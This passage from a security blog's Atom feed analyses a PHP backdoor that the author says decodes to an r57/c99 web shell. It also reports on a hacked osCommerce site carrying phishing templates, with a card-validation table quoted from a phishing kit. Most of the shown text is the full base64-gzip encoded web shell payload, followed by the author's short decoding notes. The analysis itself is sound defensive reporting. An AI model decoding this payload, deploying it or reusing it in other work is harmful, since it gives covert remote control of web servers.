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&#39;&lt;/span&gt;)));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; ?&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;Again another base64 encoding this time gzip compressed also. There are many ways to uncompress and decode the data the easiest and fasted method it will be just to run the php code in a safe environment and pipe the contents to a file.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href=&quot;mailto:user@vm1$ php&quot;&gt;user@vm1$ php&lt;/a&gt; phpdecode.php &amp;gt; test&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href=&quot;mailto:user@vm1$&quot;&gt;user@vm1$&lt;/a&gt; file test&lt;/p&gt;&lt;br /&gt;&lt;p&gt;test: ASCII text, with very long lines, with CRLF, LF line terminators&lt;/p&gt;&lt;br /&gt;&lt;p&gt;So as expected the file is text and specifically html code. The results are the following:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh37EOn_6jXOYd8sr-boyjJ1hANLxlDdvcVQpE0S6EC1POO7Yyc2ji7FzWqZzJSsGZTY_-SklqE6FEPe_qeItw1TC2jOxOxKKNJaURRJ4WD-9YawIn1fZqumiATHR3N8t51tJhbCyQPLzad/s1600-h/r57shell%25255B2%25255D.jpg&quot;&gt;&lt;img style=&quot;background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px&quot; title=&quot;r57shell&quot; border=&quot;0&quot; alt=&quot;r57shell&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo9SHm3GtWJ5PhqVl3xtLaA1OPUl3XmyruYLis_ImLvnnLaHqjoxQsOxNC-kIq-5bZMWLoaFgmD1AQkHUxlg9_EvN-o_zEzcWQp50RRgE1aXLZjwJt-kCToCfcjGl3NlpoCXgLcX0UzRwS/?imgmax=800&quot; width=&quot;244&quot; height=&quot;196&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;The output is the familiar page of r57shell/c99shell. &lt;/p&gt;&lt;br /&gt;&lt;p align=&quot;justify&quot;&gt;In a summary what the exploit will do, it will try to create a backdoor page on the server with the name kanoodle_settings.php on a hidden directory under the name .fantasticodata, as for the attackers a Google search results in a couple of days it will give them the required access to the system.&lt;/p&gt;  </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/8121940402739223790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/07/fast-and-simple-backdoor-analysis.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/8121940402739223790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/8121940402739223790'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/07/fast-and-simple-backdoor-analysis.html' title='Fast and simple backdoor analysis'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo9SHm3GtWJ5PhqVl3xtLaA1OPUl3XmyruYLis_ImLvnnLaHqjoxQsOxNC-kIq-5bZMWLoaFgmD1AQkHUxlg9_EvN-o_zEzcWQp50RRgE1aXLZjwJt-kCToCfcjGl3NlpoCXgLcX0UzRwS/s72-c?imgmax=800" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-4200654648484123592</id><published>2011-04-17T16:12:00.001+03:00</published><updated>2011-04-17T16:12:19.902+03:00</updated><title type='text'>hacked pages and spam</title><content type='html'>&lt;p&gt;Another day goes by another guy reports a hacked website. This time with new spam scripts. The vulnerable web site was running an old version of osCommerce and the attackers were quite a few in the last days. What was added to the site mainly was phising templates for AoL, BofA, and others. Interestingly there is a website referred to most of the scripts, the site is &lt;a title=&quot;http://maroc-spam.net&quot; href=&quot;http://maroc-spam.net&quot;&gt;http://maroc-spam.net&lt;/a&gt; with really bad work on the web template there guys if you are making phising sites and you promote yours in there make a better work at least. &lt;/p&gt;  &lt;p&gt;Looking at the AoL ( &lt;a href=&quot;http://www.deventum.com/research/Aol.zip&quot;&gt;http://www.deventum.com/research/Aol.zip&lt;/a&gt; ) files we can find information about the card that they support on their phising, eg, &lt;/p&gt;  &lt;p&gt;cards [0] = {name: &amp;quot;Visa&amp;quot;,    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;13,16&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;4&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [1] = {name: &amp;quot;MasterCard&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;16&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;51,52,53,54,55&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [2] = {name: &amp;quot;DinersClub&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;14,16&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;300,301,302,303,304,305,36,38,55&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [3] = {name: &amp;quot;CarteBlanche&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;14&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;300,301,302,303,304,305,36,38&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [4] = {name: &amp;quot;AmEx&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;15&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;34,37&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; checkdigit: true};     &lt;br /&gt;cards [5] = {name: &amp;quot;Discover&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; length: &amp;quot;16&amp;quot;,     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; prefixes: &amp;quot;6011,650&amp;quot;,     &lt;br 